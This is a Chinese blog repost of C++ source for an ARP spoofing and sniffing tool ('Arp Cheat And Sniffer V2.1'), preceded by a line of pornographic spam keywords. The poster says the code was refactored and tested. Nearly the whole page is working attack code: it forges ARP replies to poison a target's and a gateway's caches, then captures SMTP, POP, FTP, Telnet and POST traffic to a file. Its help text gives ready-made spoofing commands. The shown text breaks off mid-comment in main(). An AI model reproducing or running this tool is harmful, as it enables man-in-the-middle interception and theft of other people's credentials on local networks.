久久精品国产精品国产精品污,男人扒开添女人下部免费视频,一级国产69式性姿势免费视频,夜鲁夜鲁很鲁在线视频 视频,欧美丰满少妇一区二区三区,国产偷国产偷亚洲高清人乐享,中文 在线 日韩 亚洲 欧美,熟妇人妻无乱码中文字幕真矢织江,一区二区三区人妻制服国产

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

局域网arpsniffer源码剖析

發布時間:2024/4/11 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 局域网arpsniffer源码剖析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

代碼是別人寫的,我重構了一下,加了點注釋,親測可用。

arp.h

#pragma once//netbios服務根據ip解析MAC是需要用的結構體 typedef struct _ASTAT {ADAPTER_STATUS adapt; NAME_BUFFER NameBuff[30]; } ASTAT, * PASTAT;//ip-mac對應表 typedef struct _IPMACTABLE {CString Ip;CString Mac; }IPMACTABEL,*LIPMACTABLE;//各個ip mac對應信息表 typedef struct _ALLIPMACTABLE {struct _IPMACTABLE my; //自身ip,mac信息struct _IPMACTABLE cheattag; //被欺騙對象信息struct _IPMACTABLE cheatsrc; //欺騙源對象信息 --- 欺騙源不一定是自己,可以冒充別人進行欺騙struct _IPMACTABLE realcheatsrc; //欺騙源真實信息 struct _IPMACTABLE gateway; //網關ip,mac信息 }ALLIPMACTABLE,*LALLIPMACTABLE;//網卡信息 typedef struct tagAdapterInfo {char szDeviceName[128]; // 名字char szIPAddrStr[16]; // IPchar szHWAddrStr[18]; // MACDWORD dwIndex; // 編號 }INFO_ADAPTER, *PINFO_ADAPTER;//========================code from refdom===================================// #define EPT_IP 0x0800 /* type: IP */ #define EPT_ARP 0x0806 /* type: ARP */ #define EPT_RARP 0x8035 /* type: RARP */#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001 /* ARP request */ #define ARP_REPLY 0x0002 /* ARP reply */#pragma pack(push, 1)//取消內存大小自動對齊 typedef struct _ehhdr {unsigned char eh_dst[6]; /* destination ethernet addrress */unsigned char eh_src[6]; /* source ethernet addresss */unsigned short eh_type; /* ethernet pachet type */ }EHHDR, *PEHHDR;typedef struct _arphdr {unsigned short arp_hrd; /* format of hardware address */unsigned short arp_pro; /* format of protocol address */unsigned char arp_hln; /* length of hardware address */unsigned char arp_pln; /* length of protocol address */unsigned short arp_op; /* ARP/RARP operation */unsigned char arp_sha[6]; /* sender hardware address */unsigned long arp_spa; /* sender protocol address */unsigned char arp_tha[6]; /* target hardware address */unsigned long arp_tpa; /* target protocol address */// unsigned char arp_padding[18]; }ARPHDR, *PARPHDR;//ARP數據包 typedef struct _arpPacket {EHHDR ehhdr;ARPHDR arphdr; } ARPPACKET, *PARPPACKET; #pragma pack(pop) //========================code from refdom end===================================//
arp.cpp

/*============================================================= Arp cheat and sniffer V2.1 powered by shadow 2005/7/12 myweb:http://www.codehome.6600.org part code from Refdom and PiggyXp! Thanks for Refdom:refdom@263.net|http://www.opengram.com/ Thanks for PiggyXp web:http://blog.csdn.net/piggyxp/ Note: 修復了2003下不能正常獲得adapter list的bug和單雙向欺騙流程! 優化了數據包分析代碼,提高了處理速度,修復欺騙發包問題! 優化包處理流程,修復了包處理的bug,修復監視線程bug。 =============================================================*/#include "stdafx.h" #include <Iphlpapi.h> #include "packet32.h" #include "ntddndis.h" #include "mac.h" #include "conio.h" #include "SNIFFER.h" #include "nb30.h" #include "PcInfor.h" #include "arp.h"//關閉運行時異常檢查 #pragma runtime_checks( "", off )#ifndef CHEAT_INFO #define CHEAT_INTO 0 #define ONLY_CHEAT 1 #define CHEAT_AND_SNIFF 2 #define CHEAT_SEND_TIME 60 #endif#pragma comment(lib,"netapi32.lib") #pragma comment(lib,"packet.lib") #pragma comment(lib,"Iphlpapi.lib") #pragma warning(disable:4996)//全局變量 SNIFFER rsniffer; //抓包功能類對象 INFO_ADAPTER MyAdapterList[10]; //第一種方式列出網卡的的列表 USERINFO sniffuserinfo; //用戶配置信息 ALLIPMACTABLE AllIpMacTable; //所有IP-MAC表 PcInfor mypcinfo; //本機計算機信息 char MyMac[6],TagMac[6],GateMac[6]; //三個網卡地址 int RunType=0; //CHEAT_INTO,ONLY_CHEAT,CHEAT_AND_SNIFF unsigned long LostPacket,LastSendTime,StartTime,EndTime;#define Max_Adapter_Num 10 //網卡列表 char AdapterList[Max_Adapter_Num][1024]; //第二種方式列出網卡的的列表int IsInvalidPacket(char *buff); //區分數據包類型 void RebuildPacketAndRedirect(LPADAPTER lpAdapter,LPPACKET lpPacket,int type,long packlen,char *buff); int PacketIsCheatPacket(char *buff);//獲取系統時間 CString GetCurrentSystemTime() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);CString datetime;datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);return datetime; }//輸出用戶定義信息到文件 void WriteUserDefine() {FILE *fsniffer;fsniffer=fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer==NULL) return;fprintf(fsniffer,"\r\n=============================================================================================\r\n");fprintf(fsniffer,"Arp Cheat And Sniffer V2.1 \r\npowered by shadow @2005/7/15\r\nMy web:http://www.codehome.6600.org\r\n");fprintf(fsniffer,"Has bugs please mail to me:dreamshadow@mail.sdu.edu.cn\r\n");fprintf(fsniffer,">>This is user define:\r\n");fprintf(fsniffer,"Protocol: [%s]\r\n",sniffuserinfo.ProtoType);fprintf(fsniffer,"Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);fprintf(fsniffer,"Dest IP: [%-18s]\t\tDest Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);fprintf(fsniffer,"Sniff SMTP:\t");if(sniffuserinfo.SmtpSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff POP:\t");if(sniffuserinfo.PopSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff FTP:\t");if(sniffuserinfo.FtpSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff Telnet:\t");if(sniffuserinfo.TelnetSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff POST:\t");if(sniffuserinfo.PostSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff PACKET:\t");if(sniffuserinfo.PacketSniffStart) fprintf(fsniffer,"true\r\n");else fprintf(fsniffer,"false\r\n");fprintf(fsniffer,"Sniff Filter:\t");if(sniffuserinfo.Filter) fprintf(fsniffer,"[true]\r\n");else fprintf(fsniffer,"[false]\r\n");fprintf(fsniffer,"Sniff Way:\t");if(sniffuserinfo.Way) fprintf(fsniffer,"si->di\r\n");else fprintf(fsniffer,"si<->di\r\n");fprintf(fsniffer,"Sniff Mode:\t");if(sniffuserinfo.HighSniff) fprintf(fsniffer,"high\r\n");else fprintf(fsniffer,"low\r\n");fprintf(fsniffer,"Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);fprintf(fsniffer,"Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);fprintf(fsniffer,"Max File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);fprintf(fsniffer,"Save File Mode:\t");if(sniffuserinfo.OutputByHex) fprintf(fsniffer,"[HEX]\r\n");else fprintf(fsniffer,"[ASC]\r\n");fprintf(fsniffer,"Sniff Start At %s\r\n=============================================================================================\r\n",GetCurrentSystemTime());fclose(fsniffer); }//顯示用戶定義信息 void ShowUserDefine() { printf(">>This is user define:\r\n");printf("Protocol: [%s]\r\n",sniffuserinfo.ProtoType);printf("Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);printf("Dest IP: [%-18s]\t\tDest Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);printf("Sniff SMTP:\t");if(sniffuserinfo.SmtpSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff POP:\t");if(sniffuserinfo.PopSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff FTP:\t");if(sniffuserinfo.FtpSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Telnet:\t");if(sniffuserinfo.TelnetSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff POST:\t");if(sniffuserinfo.PostSniffStart) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff PACKET:\t");if(sniffuserinfo.PacketSniffStart)printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Filter:\t");if(sniffuserinfo.Filter) printf("[true]\r\n");else printf("[false]\r\n");printf("Sniff Way:\t");if(sniffuserinfo.Way) printf("[si->di]\r\n");else printf("[si<->di]\r\n");printf("Sniff Mode:\t");if(sniffuserinfo.HighSniff) printf("[high]\r\n");else printf("[low]\r\n");printf("Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);printf("Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);printf("Max File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);printf("Save File Mode:\t");if(sniffuserinfo.OutputByHex) printf("[HEX]\r\n");else printf("[ASC]\r\n"); }//顯示幫助 void ShowHelp() {printf("\r\n================================================================================\r\n");printf("\t\tArp Cheat And Sniffer V2.1\r\n\t\tPowered by shadow @2005/7/15\r\n\t\tmy web:http://www.codehome.6600.org\r\n\t\tHas bugs please mail to:dreamshadow@mail.sdu.edu.cn\r\n");printf("\r\n================================================================================\r\n");printf("Usage:\r\n");printf("-si \t\t\t源ip\n-di \t\t\t目的ip *代表所有,多項用,號分割\r\n");printf("-sp \t\t\t源端口\n-dp \t\t\t目的端口 *代表所有\r\n");printf("-w \t\t\t嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]\r\n");printf("-p \t\t\t嗅探協議[TCP,UDP,ICMP]大寫\r\n");printf("-m \t\t\t最大記錄文件,以M為單位\r\n");printf("-o \t\t\t文件輸出\r\n");printf("-hex \t\t\t十六進制輸出到文件\r\n");printf("-unecho \t\t不回顯 \r\n");printf("-auto \t\t\t不提問 \r\n");printf("-choosetype \t\t網卡獲取類型,默認是1 \r\n");printf("-index \t\t網卡號,默認是0 \r\n");printf("-unfilter \t\t不過慮0字節數據包\r\n");printf("-low \t\t\t粗略嗅探,丟包率高,cpu利用率低 基本0%\r\n");printf("-timeout \t\t嗅探超時,除非網絡狀況比較差否則請不要調高,默認為120秒\r\n");printf("-sniffsmtp\t\t嗅探smtp\r\n");printf("-sniffpop\t\t嗅探pop\r\n");printf("-sniffpost\t\t嗅探post\r\n");printf("-sniffftp\t\t嗅探ftp\r\n");printf("-snifftelnet\t\t嗅探telnet,以上5個嗅探不受參數si,sp,di,dp,w,p影響.\r\n");printf("-sniffpacket\t\t規則嗅探數據包,受參數si,sp,di,dp,w,p影響.\r\n");printf("-sniffall\t\t開啟所有嗅探\r\n");printf("-onlycheat \t\t只欺騙\n-cheatsniff \t\t欺騙并且嗅探\n-reset \t\t欺騙后恢復\n");printf("-g \t\t\t[網關ip]\n-c \t\t\t[欺騙者ip] [mac]\n-t \t\t\t[受騙者ip]\n-time \t\t\t[欺騙次數]\n");printf("Example:\r\n");printf(" arpsniffer -p TCP -dp 25,110 -o f:\\1.txt -m 1 -sniffpacket\r\n 嗅探指定規則數據抱并保存到文件\r\n");printf(" arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254\r\n 欺騙并且開啟所有嗅探,輸出到屏幕\r\n");printf(" arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset\r\n 對目標欺騙一百次,欺騙后恢復\r\n");printf("Note:\n\tProgram for 阿黛,I am very sorry for do this so late.Forgive me~~ :)\r\n"); }/獲取網卡詳細信息---結束/// //code from PiggyXp web:http://blog.csdn.net/piggyxp/ int GetAdapterListFromIpHelp() {char tempChar;ULONG uListSize=1;PIP_ADAPTER_INFO pAdapter; // 定義PIP_ADAPTER_INFO結構存儲網卡信息int nAdapterIndex = 0;DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//關鍵函數printf("\r\nTry to get adapter list by iphelpapi...\r\n");if (dwRet == ERROR_BUFFER_OVERFLOW){PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);if (dwRet == ERROR_SUCCESS){pAdapter = pAdapterListBuffer;while (pAdapter) // 枚舉網卡然后將相關條目添加到List中{// 網卡名字CString strTemp = pAdapter->AdapterName; strTemp = "\\Device\\NPF_" + strTemp; // 加上前綴 strcpy(MyAdapterList[nAdapterIndex].szDeviceName,strTemp);// IPstrcpy(MyAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );// MAC//formatMACToStr( MyAdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );// 網卡編號MyAdapterList[nAdapterIndex].dwIndex = pAdapter->Index; pAdapter = pAdapter->Next;nAdapterIndex ++;}delete pAdapterListBuffer;}return nAdapterIndex;}return 0; }//======================== code from winpcap ===================================// //從注冊表中讀取網卡名 int GetAdapterList() {printf("\r\nTry to get adapter list by winpcap driver...\r\n");DWORD dwVersion;DWORD dwWindowsMajorVersion;memset((void *)AdapterList,0,sizeof(AdapterList));//unicode strings (winnt) // WCHAR AdapterName[8192]; // string that contains a list of the network adapters // WCHAR *temp,*temp1;char AdapterName[8192]; // string that contains a list of the network adapterschar *temp,*temp1;//ascii strings (win95)char AdapterNamea[8192]; // string that contains a list of the network adapterschar *tempa,*temp1a;int AdapterNum=0;ULONG AdapterLength;int i=0; ZeroMemory((void *)AdapterName,sizeof(AdapterName));ZeroMemory((void *)AdapterNamea,sizeof(AdapterNamea));// the data returned by PacketGetAdapterNames is different in Win95 and in WinNT.// We have to check the os on which we are runningdwVersion=GetVersion();dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4)){ // Windows NTAdapterLength = sizeof(AdapterName);if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return -1;}temp=AdapterName;temp1=AdapterName;while ((*temp!='\0')||(*(temp-1)!='\0')){if (*temp=='\0') {memcpy(AdapterList[i], temp1, temp-temp1);temp1 = temp+1;i++;}temp++;} AdapterNum=i; printf("Windows ver is NT\n");}else //windows 95{AdapterLength = sizeof(AdapterNamea);if(PacketGetAdapterNames(AdapterNamea,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return -1;}tempa=AdapterNamea;temp1a=AdapterNamea;while ((*tempa!='\0')||(*(tempa-1)!='\0')){if (*tempa=='\0') {memcpy(AdapterList[i],temp1a,tempa-temp1a);temp1a=tempa+1;i++;}tempa++;} AdapterNum=i;printf("Windows ver is 98\n");} return AdapterNum; } /獲取網卡詳細信息---結束/////打印抓取的數據包 void PrintPackets(LPADAPTER lpAdapter,LPPACKET lpPacket) {ULONG ulBytesReceived;char *pChar,*base;char *buf;u_int tlen1,off=0;struct bpf_hdr *hdr; ulBytesReceived = lpPacket->ulBytesReceived;buf =(char *)lpPacket->Buffer;off=0;if(off<ulBytesReceived){ hdr=(struct bpf_hdr *)(buf+off);tlen1=hdr->bh_datalen;off+=hdr->bh_hdrlen;pChar =(char*)(buf+off);//=======================================my check code (no use)=================================//base=pChar;if(RunType==CHEAT_AND_SNIFF&&IsInvalidPacket(base)) return;if(rsniffer.AnalysePacket(base+14)&&RunType==CHEAT_AND_SNIFF)RebuildPacketAndRedirect(lpAdapter,lpPacket,PacketIsCheatPacket(base),tlen1,base);return; } } //======================== code from winpcap end ===============================////構造ARP數據包 int SetArpPacket(PARPPACKET pArppacket,CString receiveip,CString receivemac,CString fakesendip,CString fakesendmac,CString realsendmac) {char MacAddr[6];if (!GetMacAddr(receivemac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->ehhdr.eh_dst, MacAddr, 6); //目的MAC地址。(A的地址)if (!GetMacAddr(realsendmac, MacAddr)){printf ("Get Mac address error!\n");}memcpy(pArppacket->ehhdr.eh_src, MacAddr, 6); //源MAC地址pArppacket->ehhdr.eh_type = htons(EPT_ARP);pArppacket->arphdr.arp_hrd = htons(ARP_HARDWARE);pArppacket->arphdr.arp_pro = htons(EPT_IP);pArppacket->arphdr.arp_hln = 6;pArppacket->arphdr.arp_pln = 4;pArppacket->arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr(fakesendmac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址pArppacket->arphdr.arp_spa = inet_addr(fakesendip); //C的IP地址if (!GetMacAddr(receivemac, MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(pArppacket->arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址pArppacket->arphdr.arp_tpa = inet_addr(receiveip); //目標A的IP地址return 1; }//發送ARP數據包 //參數四:欺騙目標的IP和MAC(都是真實的) //參數五:告訴被欺騙者的內容,某某IP對應某某MAC,(IP和MAC最少有一個是假的) int SendArpPacket(int times, LPADAPTER lpAdapter, LPPACKET lpPacket, LIPMACTABLE tag, LIPMACTABLE src) {//構造ARP數據包ARPPACKET ArpPacket;char SZbuff[600];ZeroMemory(SZbuff,sizeof(SZbuff));int errcode=SetArpPacket(&ArpPacket,tag->Ip,tag->Mac,src->Ip,src->Mac,src->Mac);if(!errcode){printf("set packet error!\n");return 0;}memcpy(SZbuff,(char *)&ArpPacket,sizeof(ArpPacket));PacketInitPacket(lpPacket, SZbuff, 60);int j=0;//死循環的發送if(times==0){while(true){//kbhit函數:檢查當前是否有鍵盤輸入,若有則返回一個非0值,否則返回0if(kbhit()) return j;if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) return j;if(sniffuserinfo.Echo) printf(".");j++;Sleep(50);}}//有次數的發送for(j=0;j<times;j++){if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) break;if(sniffuserinfo.Echo) printf(".");Sleep(50);}return j; }//利用ICMP協議和arp協議獲取mac void GetMacByBat(CString ip, CString &mac) {printf("\r\n-Can not get mac by netbios -_-\r\n-Try to use ping to get mac...\r\n");mac="000000000000";FILE *bat=fopen("mac.bat","wb");if(bat==NULL) return;fputs("@echo off\r\n",bat);fputs("ping "+ip+"\r\n",bat);fputs("arp -a|find \""+ip+"\">mac.txt\r\n",bat);fputs("exit\r\n",bat);fclose(bat);system("mac.bat");remove("mac.bat");printf("\r\n+ping ok done...\r\n\r\n");bat=fopen("mac.txt","r");if(bat==NULL) return;char str[MAX_PATH],macstr[18];fgets(str,sizeof(str),bat);fclose(bat);remove("mac.txt");ZeroMemory(macstr,sizeof(macstr));sscanf(&str[2],ip+" %s ",macstr);if(strlen(macstr)!=17) return;mac.Format("%s",macstr);mac.Replace("-","");TRACE(mac); }//對沒有開啟netbios服務,或者有防火墻,或者是網關都無法獲取mac地址 //根據IP獲取MAC void GetMacAddress(CString sNetBiosName, CString &sMacAddress) {ASTAT Adapter; NCB ncb; // NCB結構體,用于設置執行的NetBIOS命令和參數 UCHAR uRetCode; // 執行Netbios()函數的返回值 memset( &ncb, 0, sizeof(ncb) ); // 初始化ncb結構體 ncb.ncb_command = NCBRESET; // 設置執行NCBRESET,復位網絡適配器 ncb.ncb_lana_num = 0; // 設置LANA編號 uRetCode = Netbios( &ncb ); // 調用Netbios()函數,執行NCBRESET命令 memset( &ncb, 0, sizeof(ncb) ); // 初始化ncb ncb.ncb_command = NCBASTAT; // 執行NCBASTAT命令,獲取網絡適配器狀態 ncb.ncb_lana_num = 0; // 設置LANA編號 sNetBiosName.MakeUpper(); FillMemory(ncb.ncb_callname, NCBNAMSZ - 1, 0x20); strcpy((char *)ncb.ncb_callname, (LPSTR)(LPCTSTR) sNetBiosName); ncb.ncb_callname[sNetBiosName.GetLength()] = 0x20; ncb.ncb_callname[NCBNAMSZ - 1] = 0x0; ncb.ncb_buffer = (unsigned char *) &Adapter; ncb.ncb_length = sizeof(Adapter); uRetCode = Netbios(&ncb); sMacAddress="000000000000"; if (uRetCode == 0) { sMacAddress.Format(_T("%02x%02x%02x%02x%02x%02x"), Adapter.adapt.adapter_address[0], Adapter.adapt.adapter_address[1], Adapter.adapt.adapter_address[2], Adapter.adapt.adapter_address[3], Adapter.adapt.adapter_address[4], Adapter.adapt.adapter_address[5]); } else{//利用ICMP協議和ARP協議獲取macGetMacByBat(sNetBiosName, sMacAddress);} }//設置ip,mac bool SetIpMacInfo(CString ip,LIPMACTABLE pipmac) { //獲取ip對應的MAC地址pipmac->Ip=ip;printf("Try to get Mac of \t[ %s ]\r\n",ip);GetMacAddress(ip, pipmac->Mac);printf("This IP's MAc is: \t[ %s ]\r\n",pipmac->Mac);if(pipmac->Mac=="000000000000") return false;else return true; }//MAC地址加"-" CString ConvertMacToStr(CString mac) {CString temp="";for(int i=1;i<=6;i++){temp=temp+mac.Left(2)+"-";mac=mac.Right(mac.GetLength()-2);}temp=temp.Left(temp.GetLength()-1);return temp; }//在欺騙開始前設置靜態的ip,mac對應表,否則會導致本機上不了網 bool SetStaticIpMac(CString tagip,CString tagmac,CString gateip,CString gatemac) {CString str="";/*arp -s 命令在WIN7下面已經失去效用,欺騙之前要手工綁定WIN7下綁定的方法:第一步查詢網卡IDX號:netsh i i sh in第二步綁定:netsh interface ipv4 set neighbors 11 "192.168.0.1" "c8-d3-a3-02-97-56" store=persistent*/ // str="@arp -s "+tagip+" "+ConvertMacToStr(tagmac)+"\r\n"; // str+="@arp -s "+gateip+" "+ConvertMacToStr(gatemac)+"\r\n";str="netsh interface ipv4 set neighbors 11 \"" + tagip + "\" \"" + ConvertMacToStr(tagmac) + "\" store=persistent" + "\r\n";str+="netsh interface ipv4 set neighbors 11 \"" + gateip + "\" \"" + ConvertMacToStr(gatemac) + "\" store=persistent" + "\r\n";str+="@exit\r\n";FILE *fout;fout=fopen("macset.bat","wb+");if(fopen==NULL) return false;fputs(str,fout);fclose(fout);system("macset.bat");remove("macset.bat");return true; }//截獲的是欺騙發過來的包并判斷是哪個發過來的 int PacketIsCheatPacket(char *buff) {if(memcmp(buff, MyMac, 6) == 0){if(memcmp(buff+6, TagMac, 6) == 0) return 1;if(memcmp(buff+6, GateMac, 6) == 0) return 2;}return 0; }void RebuildPacketAndRedirect(struct _ADAPTER *,struct _PACKET *,int,long,char *) {}//在欺騙嗅探方式下該包是否是有效包 int IsInvalidPacket(char *buff) {////分析數據包的來源和目的地://buff前6個字節是數據包目標MAC地址,7-12字節代表來源MAC地址////申請緩沖區儲放MAC地址char MacAddr[6];//數據包的目的地不是本地,返回0GetMacAddr(AllIpMacTable.my.Mac, MacAddr);if(memcmp(buff, MacAddr, 6) != 0) return 0;//數據包的來源是欺騙目標,返回1GetMacAddr(AllIpMacTable.cheattag.Mac, MacAddr);if(memcmp(buff+6, MacAddr, 6) == 0) return 1;//數據包的來源是網關,返回2GetMacAddr(AllIpMacTable.gateway.Mac, MacAddr);if(memcmp(buff+6, MacAddr, 6) == 0) return 2;return 0; }//獲取當前時間(單位:秒) unsigned long GetCurrentTimeSeconds() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);return systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond; }//程序入口 int main(int argc, char* argv[]) {////測試代碼//getch();//ULONG ulBytesReceived;bool AutoStart=false;struct bpf_hdr *hdr;int adaptercount,choosetype=1;int index=0; //選擇的第幾塊網卡//丟包LostPacket=0;//獲取本地信息mypcinfo.GetPcSystemInfo();mypcinfo.GetLocalIp();AllIpMacTable.my.Ip=mypcinfo.SystemInfo.IP;sniffuserinfo.PopSniffStart=false;sniffuserinfo.PacketSniffStart=false;sniffuserinfo.PostSniffStart=false;sniffuserinfo.TelnetSniffStart=false;sniffuserinfo.FtpSniffStart=false;sniffuserinfo.LogData=false;sniffuserinfo.Echo=true;sniffuserinfo.OutputByHex=false;sniffuserinfo.HighSniff=true;sniffuserinfo.Filter=true;sniffuserinfo.sourceip="*";sniffuserinfo.sourceport="*";sniffuserinfo.destip="*";sniffuserinfo.destport="*";sniffuserinfo.ProtoType="*";sniffuserinfo.Way=0;sniffuserinfo.MaxData=10;sniffuserinfo.timeout=120;strcpy(sniffuserinfo.SnifferDataPath,"my.txt");int CheatTime=0,ReSet=0;//顯示幫助if(argc<=1 || strcmp(argv[1],"-help")==0 ){system("cls");ShowHelp();return 0;}//參數提取,未加錯誤檢測代碼for(int i=1; i<argc; i++){ if(strcmp(argv[i],"-sniffsmtp")==0 || strcmp(argv[i],"-sniffall") ==0 ) sniffuserinfo.SmtpSniffStart=true;if(strcmp(argv[i],"-sniffpop")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PopSniffStart=true;if(strcmp(argv[i],"-sniffpost")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PostSniffStart=true;if(strcmp(argv[i],"-snifftelnet")==0||strcmp(argv[i],"-sniffall")==0) sniffuserinfo.TelnetSniffStart=true;if(strcmp(argv[i],"-sniffftp")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.FtpSniffStart=true;if(strcmp(argv[i],"-sniffpacket")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PacketSniffStart=true;if(strcmp(argv[i],"-low")==0) sniffuserinfo.HighSniff=false;if(strcmp(argv[i],"-hex")==0) sniffuserinfo.OutputByHex=true;if(strcmp(argv[i],"-unecho")==0) sniffuserinfo.Echo=false;if(strcmp(argv[i],"-unfilter")==0) sniffuserinfo.Filter=false;if(strcmp(argv[i],"-timeout")==0) sniffuserinfo.timeout=atoi(argv[++i]);if(strcmp(argv[i],"-p")==0) sniffuserinfo.ProtoType.Format("%s",argv[++i]);if(strcmp(argv[i],"-si")==0) sniffuserinfo.sourceip.Format("%s",argv[++i]);if(strcmp(argv[i],"-sp")==0) sniffuserinfo.sourceport.Format("%s",argv[++i]);if(strcmp(argv[i],"-di")==0) sniffuserinfo.destip.Format("%s",argv[++i]);if(strcmp(argv[i],"-dp")==0) sniffuserinfo.destport.Format("%s",argv[++i]);if(strcmp(argv[i],"-w")==0) sniffuserinfo.Way=atoi(argv[++i]);if(strcmp(argv[i],"-m")==0) sniffuserinfo.MaxData=atoi(argv[++i]);if(strcmp(argv[i],"-choosetype")==0) choosetype=atoi(argv[++i]);if(strcmp(argv[i],"-index")==0) index=atoi(argv[++i]);if(strcmp(argv[i],"-reset")==0) ReSet=1;if(strcmp(argv[i],"-auto")==0) AutoStart=true;if(strcmp(argv[i],"-o")==0){strcpy(sniffuserinfo.SnifferDataPath,argv[++i]);sniffuserinfo.LogData=true;}if(strcmp(argv[i],"-onlycheat")==0) RunType=ONLY_CHEAT;if(strcmp(argv[i],"-cheatsniff")==0) RunType=CHEAT_AND_SNIFF;if(strcmp(argv[i],"-t")==0) AllIpMacTable.cheattag.Ip.Format("%s",argv[++i]);if(strcmp(argv[i],"-g")==0) AllIpMacTable.gateway.Ip.Format("%s",argv[++i]);if(strcmp(argv[i],"-c")==0){AllIpMacTable.cheatsrc.Ip.Format("%s",argv[++i]);AllIpMacTable.cheatsrc.Mac.Format("%s",argv[++i]);}if(strcmp(argv[i],"-time")==0) CheatTime=atoi(argv[++i]); }//打印作者信息printf("\r\n======================================================\r\n\r\nArp Cheat And Sniffer V2.1\r\npowered by shadow @2005/6/15\r\nmy web:http://www.codehome.6600.0rg\r\n");printf("\r\n======================================================\r\n\r\n");//選擇網卡printf("+Choose a method to get adapter list:\r\n->0.Get By Winpcap Driver!\r\n->1.Get By IpHelpAPI (Can use this in 2003)!\r\nPlease input your choose num:");if(!AutoStart) scanf("%d",&choosetype);printf("\r\n+Adapater List:\r\n");switch(choosetype){case 0:adaptercount=GetAdapterList();break;case 1:adaptercount=GetAdapterListFromIpHelp();break;default:printf("\r\nWhat you mean?you can't choose that!Oh,god :)\r\n");return 0;}if(adaptercount<=0){printf("Get adapter list error!\r\n");getch();return 0;}int j;printf("\r\n----------------------------------------------------\r\n");for(j=0; j<adaptercount; j++){if(choosetype == 0) //wprintf(L"%d:%s\r\n",j,AdapterList[j]);printf("%d:%s\r\n",j,AdapterList[j]);else printf("%d:%s\r\n",j,MyAdapterList[j].szDeviceName);}Sleep(1000);//數據包LPPACKET lpPacket,lpPacket_Cheat;//選中的網卡LPADAPTER lpAdapter; struct bpf_stat stat;if(!AutoStart){while(true){printf("\r\nPlease choose a adapter with num:");scanf("%d",&index);if(index>=0 && index<adaptercount) break;}}printf("\r\n");//打開網卡if(choosetype==0) lpAdapter = (LPADAPTER)PacketOpenAdapter(AdapterList[index]);else lpAdapter = (LPADAPTER)PacketOpenAdapter(MyAdapterList[index].szDeviceName);//打開網卡失敗int dwErrorCode;if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)){dwErrorCode = GetLastError();printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); return -1;}//分配地址空間lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError: failed to allocate the LPPACKET structure.");return (-1);}//分配地址空間lpPacket_Cheat = PacketAllocatePacket();if(lpPacket_Cheat == NULL){printf("\nError: failed to allocate the LPPACKET structure cheat.");return (-1);}//只進行欺騙//使用例子 arpsniffer -onlycheat 